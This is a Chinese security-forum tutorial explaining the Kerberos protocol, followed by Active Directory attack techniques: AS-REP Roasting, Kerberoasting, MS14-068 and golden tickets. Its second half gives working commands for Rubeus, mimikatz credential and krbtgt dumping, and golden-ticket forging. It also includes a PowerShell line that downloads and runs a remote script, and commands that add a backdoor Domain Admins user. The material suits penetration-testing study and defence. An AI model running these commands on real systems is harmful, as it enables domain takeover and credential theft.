安全矩阵

 找回密码
 立即注册
搜索
查看: 4003|回复: 0

kerberos协议详解及攻击利用(上)

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
发表于 2020-9-20 09:48:02 | 显示全部楼层 |阅读模式
本帖最后由 wholesome 于 2020-9-20 09:54 编辑

声明
本文作者:Gality
本文字数:5500
阅读时长:15min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载

介绍
Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。

一、Kerberos 协议框架
在 Kerberos 协议中主要是有三个角色的存在:
1. 访问服务的 Client;
2. 提供服务的 Server;
3.KDC(Key Distribution Center)密钥分发中心


注意以下几点:

  • 从物理层面看,AD与KDC均安装在域控(DC)上
  • AD其实是一个类似于本机SAM的一个数据库,全程叫做account database,存储了client的白名单和所有域内用户密码的Hash,只有存在于白名单上的client才能申请到TGT
  • KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域控时系统自动创建的一个账号,该账号无法登陆,但是发放票据时会使用到他的密码的Hash值
二、Kerberos验证流程
先来形象的理解一下kerberos的验证流程:
可以把kerberos的票据类比为火车票,client是乘客,server就是火车,而KDC就是车站的认证系统,其中,KDC又包含两个部分:Authentication ServiceTicket Granting Service
Authentication Service:AS的作用是验证client的身份,功能类似于人脸核验机,如果核验通过,就会给client一张TGT(Ticket Granting Ticket)票据,类似于乘客用身份证换取火车票,有了该票已经可以上车了,但是还无法使用车上的一些服务
Ticket Granting Service:TGS的作用是通过TGT票据换取ST(service ticket),ST也被称为TGS Ticket,有了ST票据,client才能去访问相应的服务,类似于上车后用车票换取卧铺号来使用使用卧铺的过程
所以,kerberos认证的粗略流程为:
  • client先向AS请求TGT
  • 通过核验后,AS返回TGT
  • client用TGT去请求TGS
  • 使用ST访问其他服务
有了直观理解后,我们看详细的Kerberos认证流程:
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,然后通过 AS 发放的 TGT 向 Server 发起认证请求,这个过程分为三块:
  • Client 与 AS 的交互
  • Client 与 TGS 的交互
  • Client 与 Server 的交互
Client 与 AS 的交互
当用户登录域主机Windows系统时,本机的Kerberos服务会使用用用户的输入(用户名和密码)构造AS-REQ(Authentication Server Request)请求发送至KDC(准确来说是AS).该请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(是一个用用户NTLM Hash加密的时间戳)以及一些其他信息.
AS随后在AD中寻找用户是否在白名单,如果在白名单,则根据用户名从AD中提取对应的NTLM Hash来解密KRB_AS_REP,确认时间戳是否在允许范围内,随后生成一个随机数session Key,随后返回一个KRB_AS_REP(应答),KRB_AS_REP中包括两个部分:
  • session key-as数据:用client的NTLM Hash加密session Key
  • TGT:由 KRBTGT HASH 加密的 session key 和 TimeStamp 等信息

Client 与 TGS 的交互
Client接收到加密后的Session key-as和TGT之后,先用自身密码的Hash解密得到session key,TGT是由KDC中KRBTGT的HASH加密的,所以client无法解密.这时client用session key加密时间戳,再和TGT一起发送给KDC中的TGS换取针对某个服务主体(service principal)的服务票据(ST)(走的是KRB_TGS_REQ请求),服务主体由SPN(service principal name,服务主体名称)来表示。
Windows中有许多SPN,大家可以访问此处了解大部分SPN。为了访问实际主机,这里客户端需要请求HOST SPN。HOST主体中包含Windows的所有内置服务。



TGS在收到Client 发送过来的 TGT 和 Session key 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT的HASH解密 TGT。一般情况下,TGS会检查TGT中的时间戳查看TGT是否过期,且原始地址是否和TGT中保存的地址相同.
验证成功后将返回客户端两个东西:
  • 由session key加密的session key-tgs
  • client要访问的Server密码Hash(多数情况下是目标服务帐户的NTLM密码hash)加密的seesion key-tgs及其他信息
这两部分和在一起通过KRB_TGS_REP返回给client
TGS中包含PAC(Privileged Attribute Certificate,特权属性证书),而PAC中包含域用户及其成员身份的相关信息,如下图所示。
在上图中,GroupIDs为服务用来判断用户是否具备访问权限的一个元素。Client 与 Server 的交互
client收到session key 加密生成的 session key-tgs 和 Server 密码 HASH 加密 session key-tgs生成的TGS 之后,用 session key 解密得到 session key-tgs,然后把 sessionkey-tgs 加密的 TimeStamp(Authenticator3)和 ST(也就是TGS)一起发送给 Server。
server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,并查看TGS中的PAC来判断其中是否存在匹配的组SID,以便确定访问权限。
服务票据中比较特别的一点在于,KDC负责身份认证(TGT),而服务负责授权(TGS中的PAC)。确认权限后,用户就可以访问HOST服务主体,登录计算机。
我们可以使用Wireshark捕捉用户登录过程,查看整个登录流程



在上图中,第一个AS-REQ对应的响应信息为:
“KRB Error: KRB5KDC_ERR_PREAUTH_REQUIRED”。在Kerberos 5之前,Kerberos允许不使用密码进行身份认证,而在Kerberos 5中,密码信息不可或缺,这种过程称之为“预认证”。具体后面讲解
三、Kerberos攻击方式
AS-REP Roasting
Kerberos预身份验证
在Windows Kerberos环境中的正常操作下,当你为给定用户启动TGT请求(Kerberos AS-REQ,消息类型为10)时,必须提供用该用户的密钥或密码加密的时间戳,该结构是PA-ENC-TIMESTAMP,并且嵌入在AS-REQ的PA-DATA(预授权数据)中,然而这两者都是在Kerberos版本5中引入的
对于任何不正确的PA-ENC-TIMESTAMP尝试,KDC都会增加badpwdcount值用来计数,该属性限制了在线密码的暴力破解
然而,出于向后兼容的考虑,Windows会默认先尝试交换AS-REQ/AS-REP(无需进行Kerberos预身份验证),不成功的话会在第二次提交时会提供加密的时间戳:因此在登录期间,发送初始AS-REQ后我们总是能看到一个错误信息(上图中)。
介绍
这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。但是该方法比较局限,需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " (该属性默认是没有勾选上的)。如果用户设置了‘不需要Kerberos预身份验证’,我们就可以直接向KDC请求TGT从而收到一个由用户NTLM Hash加密的session key用于进一步的离线破解,这也是AS-REP Roasting攻击的原理所在
利用前提
  • 存在账户开启‘不需要预身份认证’
  • 该账户是弱密码
攻击方式
使用Rubeus
使用如下powershell命令便利出哪些用户开启了“Do not require pre-authentication”
  1. Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
复制代码
https://github.com/GhostPack/Rubeus下载Rebeus.exe这个工具,这款工具是一个针对kerberos协议的攻击包,功能强大且还在持续更新,后续可能会考虑写篇文章来记录该工具包的用法.下载完成后上传到受害机上并运行Rubeus.exe asreproast,这行命令会得到用户账户的hash值,这个值用于加密时间戳,将这个值保存下来进行离线密码爆破
也可以直接使用Rubeus.exe asreproast /format:john /outfile: hashes.txt将hash值储存到txt文件中,存储格式是john这款工具可以破解的格式
使用ASREPRoast PowerShell Script
https://github.com/HarmJ0y/ASREPRoast并上传到靶机
  1. Import-Module .\ASREPRoast.ps1
  2. Invoke-ASREPRoast
  3. Invoke-ASREPRoast | select -ExpandProperty Hash
复制代码
不过作者已经声明,该项目已被弃用,他的功能已经被合并到Rubeus中
结合msf
从meterpreter上传“ASREPRoast” powershell脚本,然后再从meterpreter执行如下指令:
  1. upload /root ASREPROAST.ps1
  2. powershell
  3. Import-Module .\ASREPRoast.ps1
  4. Invoke-ASREPRoast
复制代码
拿到hash之后离线破解即可
更多的利用方式请自行发挥想象,这里不再过多描述
Kerberoasting
原理
当发送TGS时,KDC会使用时间戳+服务账户的密码hash来加密TGS.由于目标服务通常为计算机控制的某个服务,因此这里会使用提供服务的主机账户密码hash.在某些情况下,用户账户也会被创建为“服务账户”,注册为SPN.由于KDC不负责核实是否具有使用服务权限的工作(该工作由服务自己负责),因此任何用户都可以请求任何服务的TGS.这意味着如果某个用户“服务账户”被注册为SPN,那么任何用户都可以请求该用户对应的TGS,而该TGS使用用户账户密码hash加密,攻击者可以从票据中提取hash,离线破解
SPN简介及查询机制
服务主体名称(SPN:Service Principal Names)是服务实例,可以将其理解为一个服务(比如 HTTP、MSSQL)的唯一标识符,每个使用Kerberos的服务都需要一个SPN,如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
  • 当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
  • 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。
SPN格式为
  1. <service class>/<host>:<port> <servername>
  2. 服务类型/对应机器名:服务端口[默认端口可不写]
  3. MSSQLSvc/SQLServer.rcoil.me:1433
复制代码
使用 SetSPN 为机器(域用户)创建 SPN
  1. Setspn -S http/<computername>.<domainname> <domain-user-account>
复制代码
-S 参数:验证不存在重复项后,添加随意 SPN
注意: -SWindows Server 2008开始系统默认提供。
在上述的Client请求TGS的过程中,域控需要查询SPN,当域控查询某一个服务的SPN时:
如果该SPN注册在机器账户computers下,将会查询所有机器账户的servicePrincipalName属性,找到所对应的账户。
如果是注册在域用户账户users下,将会查询所有域用户账户的servicePrincipalName属性,找到其所对应的账户。
找到对应的账户之后,使用它的NTLM hash生成TGS。
注意:
    1、域内的所有主机都是可以查询SPN的
    2、域内的任何用户都是可以请求域内的任何服务的TGS的
所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接,所以我们的关注点主要就在域用户下注册的SPN。
利用前提
  • 存在域用户账户注册的SPN
  • 是弱密码
攻击方式
手动
使用setspn -q */*来查询所有SPN,输出结果类似于:
  1. CN=DC1,OU=Domain Controllers,DC=test,DC=com
  2.         exchangeRFR/DC1
  3.         exchangeRFR/DC1.test.com
  4.         exchangeMDB/DC1.test.com
  5.         exchangeMDB/DC1
  6.         exchangeAB/DC1
  7.         exchangeAB/DC1.test.com
  8.         SMTP/DC1
  9.         SMTP/DC1.test.com
  10.         SmtpSvc/DC1
  11.         SmtpSvc/DC1.test.com
  12.         ldap/DC1.test.com/ForestDnsZones.test.com
  13.         ldap/DC1.test.com/DomainDnsZones.test.com
  14.         Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
  15.         DNS/DC1.test.com
  16.         GC/DC1.test.com/test.com
  17.         RestrictedKrbHost/DC1.test.com
  18.         RestrictedKrbHost/DC1
  19.         HOST/DC1/TEST
  20.         HOST/DC1.test.com/TEST
  21.         HOST/DC1
  22.         HOST/DC1.test.com
  23.         HOST/DC1.test.com/test.com
  24.         E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
  25.         ldap/DC1/TEST
  26.         ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
  27.         ldap/DC1.test.com/TEST
  28.         ldap/DC1
  29.         ldap/DC1.test.com
  30.         ldap/DC1.test.com/test.com
  31. CN=krbtgt,CN=Users,DC=test,DC=com
  32.         kadmin/changepw
  33. CN=COMPUTER01,CN=Computers,DC=test,DC=com
  34.         RestrictedKrbHost/COMPUTER01
  35.         HOST/COMPUTER01
  36.         RestrictedKrbHost/COMPUTER01.test.com
  37.         HOST/COMPUTER01.test.com
  38. CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
  39.         MSSQLSvc/DC1.test.com
复制代码
之前也提到,我们要关注的是域用户下注册的 SPN,其中以CN开头的,每一行都代表一个账户,以CN=krbtgt,CN=Users类似打头的是域用户账户,找到对应的账户SPN后在powershell中执行如下代码,请求对应TGS:

  1. Add-Type -AssemblyName System.IdentityModel
  2. New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "请求的SPN"
复制代码
然后就可以用mimikatz来导出票据了:
kerberos::list /export后续就可以保存成hash用hashcat爆破密码了
hashcat -m 13100 --force <TGSs_file> <passwords_file>
能否成功取决于字典质量,就不再多说了
使用Rubeus
  1. Rubeus.exe kerberoast /outfile:<output_TGSs_file>
复制代码
使用powershell
  1. iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
  2. Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>
复制代码
后续利用
如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,进而离线爆破密钥获得明文口令,使用该用户作为后门.例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下:
  1. setspn.exe -U -A VNC/DC1.test.com Administrator
复制代码
删除SPN的参数如下:
  1. setspn.exe -D VNC/DC1.test.com Administrator
复制代码
黄金票据
原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,TGT票据会使用KRBTGT的账户密码哈希来加密,同时Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
这种攻击技术称为黄金票据攻击。Mimikatz可以使用KRBTGT密码的RC4哈希来伪造任何用户的票据,并且该过程不需要知道用户密码
利用前提

  • 需要与DC通信以获取TGS,但是不用与AS交互
  • 需要krbtgt用户的hash(KDC hash)
攻击方式
利用MS14-068
利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块
首先登陆到域内,可以用mimikatz来抓域用户账户密码:
  1. mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
复制代码
登录后,先用systeminfo |find "3011780"检查下是否打了相应补丁,如果返回为空,则可以利用MS14-068提权,需要注意的是,域内普通用户提权成功后是有时效性的.
复制goldenPac.exe 到目标机器,使用目前已获取当前机器普通域用户和密码及域名:
  1. goldenPac <域名>/<用户名>:<密码>@<域控地址>
复制代码
执行成功后获取DC权限
或者使用proxychains将goldenPac代理进内网proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题
DCSync(mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
  1. lsadump::dcsync /user:krbtgt
复制代码
可以获取到krbtgt的NTLM hash和SID等等信息
使用MSF的kiwi扩展
获取到meterpreter后可以使用kiwi扩展获取krbtgt的hash:
  1. meterpreter > getuid
  2. Server username: DE1AY\Administrator
  3. meterpreter > load kiwi
  4. Loading extension kiwi...
  5. .#####.   mimikatz 2.1.1 20180925 (x86/windows)
  6. .## ^ ##.  "A La Vie, A L'Amour"
  7. ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  8. ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
  9. '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )
  10. '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

  11. Success.
  12. meterpreter > dcsync_ntlm krbtgt
  13. [+] Account   : krbtgt
  14. [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
  15. [+] LM Hash   : 9b5cd36575630d629f3aa6d769ec91c3
  16. [+] SID       : S-1-5-21-2756371121-2868759905-3853650604-502
  17. [+] RID       : 502
复制代码
LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
  1. privilege::debug  
  2. lsadump::lsa /inject /name:krbtgt
复制代码
需要在域控上执行
伪造黄金票据
上述方法中除了利用MS14-068的方法外,其他技术都只是获取到了krbtgt的NTLM hash,后续还需要自己伪造黄金票据
伪造金票的所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
方法一:
使用meterpreter中的kiwi模块:load kiwi
  1. golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
复制代码
将生成的ticket注入到内存:
  1. kerberos_ticket_use /tmp/krbtgt.ticket
复制代码
成功后即可访问域内所有主机
方法二:
使用mimikatz
先用kerberos::purge把当前的凭据全部清空,然后用如下命令伪造黄金票据并注入到内存
  1. mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
复制代码
注意:
上述方法中用到的SID,都需要在原本Object Security ID去掉RID后才是真正的SID
  1. Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502
复制代码
注意这里的是域SID+RID(-502) RID去掉后才是域SID
后续利用
添加域管用户ccc:
  1. net user ccc Qwe1234/add /domain
  2. net group "Domain Admins" cccc /add /domain
复制代码
后记
关于白银票据攻击和委派攻击的内容将在下篇文章分享,阅读原文阅读~
WgpSec狼组安全团队 发起了一个读者讨论kerberos协议详解及攻击利用

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 18:29 , Processed in 0.015592 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表